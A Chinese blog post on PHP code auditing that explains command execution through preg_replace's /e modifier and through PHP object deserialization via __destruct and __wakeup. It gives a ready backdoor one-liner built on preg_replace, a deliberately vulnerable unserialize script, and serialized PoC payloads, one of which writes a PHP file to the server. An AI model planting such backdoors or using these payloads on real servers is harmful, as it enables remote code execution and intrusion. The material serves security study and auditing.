关闭

php审计基础二:命令执行

526人阅读 评论(0) 收藏 举报
分类:
system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open(),``
这些命令执行的例子很平常就不说了
下面是一些有意思的:
【1】preg_replace()这个函数:
出发条件:
01:第一个参数需要e标识符,有了它可以执行第二个参数的命令
02:第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令,举个例子:
//echo preg_replace(‘/test/e’, ‘phpinfo()’, ‘just test’);这样是可以执行命令的
//echo preg_replace(‘/test/e’, ‘phpinfo()’, ‘just tesxt’); 或者echo preg_replace(‘/tesxt/e’, ‘phpinfo()’, ‘just test’); 这两种没有匹配上,所以返回值是第三个参数,不会执行命令
利用:

我们可以构造这样的后门代码:

@preg_replace("//e",$_GET['h'],"Access Denied"); 

echo preg_replace("/test/e",$_GET["h"],"jutst test");

当访问这样这样的链接时就可以被触发:

http://localhost:8000/testbug.php?h=phpinfo();


2php反序列化漏洞:

<?php
class Example
{
var $var = "";
function __destruct()
    {
        eval($this->var);
    }
}
class foo{
    public $file="";
    public $data="";
            function __wakeup(){
        file_put_contents($this->file,$this->data);
        echo "调用";
    }
    
}

 $str=$_GET["name"];
 unserialize($str);
?>

参考:http://www.freebuf.com/vuls/80293.html

这个很有意思

首先php反序列化可以反序列化成为一个对象,而这个对象被创建之后就会自动调用php的魔幻方法

__destruct()

__wakeup()


并且将参数传递进去,从而实现恶意的攻击


利用条件:

1、应用程序中必须含有一个实现某个PHP魔幻方法(例如__wakeup或者__destruct)的类,可以用这个类进行恶意攻击,或者开始一个“POP链”。

2、当调用脆弱的unserialize()时,必须声明攻击期间所使用的所有类,否则必须为这些类支持对象自动加载。


利用过程:

http://localhost:8000/testbug.php?name=O:7:%22Example%22:1:{s:3:%22var%22;s:10:%22phpinfo();%22;}



下面就是一个命令执行的poc参数

O:7:%22Example%22:1:{s:3:%22var%22;s:10:%22phpinfo();%22;}


第一个O是代表object:表示反序列化为一个类

第二个7是类名的长度,比如我要反序列化成为Example的一个对象,那么“Example”长度就是7

第三个Example是类名,要用%22包裹住,而%22就是“的url形式

第四个1是参数的数量,我这里只有一个参数var

第五个:{s:3:%22var%22;s:10:%22phpinfo();%22;}这个里面是要传递进去的参数

5.1s表示的是一个字符串

5.23表示的是参数名的长度

5.3var是参数名

5.4s表示的是一个字符串

5.510表示的是变量的长度

5.6phpinfo();是实际的变量


这个poc执行之后首先会创建一个Example的对象,然后将var的值传递进去,然后调用__destruct()

就像

$obj=newExample;

$obj->var=”phpinfo();”;

$obj->__wakeup();


这样的过程


第二个利用的poc是:


http://localhost:8000/testbug.php?name=O:3:%22foo%22:2:{s:4:%22file%22;s:10:%22heheda.php%22;s:4:%22data%22;s:19:%22<?phpphpinfo(); ?>%22;}


可以看出来,php反序列化可以调用任何类



1
0

查看评论
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
    个人资料
    • 访问:149302次
    • 积分:2543
    • 等级:
    • 排名:第16010名
    • 原创:107篇
    • 转载:7篇
    • 译文:0篇
    • 评论:39条
    文章分类